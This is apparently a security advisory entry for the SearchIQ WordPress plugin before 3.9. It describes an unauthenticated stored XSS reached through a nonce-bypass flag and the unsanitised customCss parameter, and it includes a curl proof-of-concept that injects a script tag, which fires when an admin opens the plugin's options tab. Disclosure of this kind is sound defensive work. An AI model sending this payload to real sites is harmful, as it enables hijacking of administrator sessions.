SearchIQ < 3.9 - Unauthenticated Stored XSS

2022-03-2800:00:00

cydave

0.001 Low

EPSS

Percentile

45.7%

JSON

The plugin contains a flag to disable the verification of CSRF nonces, granting unauthenticated attackers access to the siq_ajax AJAX action and allowing them to perform Cross-Site Scripting attacks due to the lack of sanitisation and escaping in the customCss parameter

Once the plugin is configured with an API key (can be a dummy one such as 123):

curl https://example.com/wp-admin/admin-ajax.php --data "action=siq_ajax&customCss=</textarea><script>alert('xss')</script>&nononce=1&task=set_custom_style"

The XSS will be triggered when an admin open the Options tab of the plugin (/wp-admin/admin.php?page=dwsearch&tab=tab-2)

0.001 Low

EPSS

Percentile

45.7%

JSON

Related for WPEX-ID:0EE7D1A8-9782-4DB5-B055-E732F2763825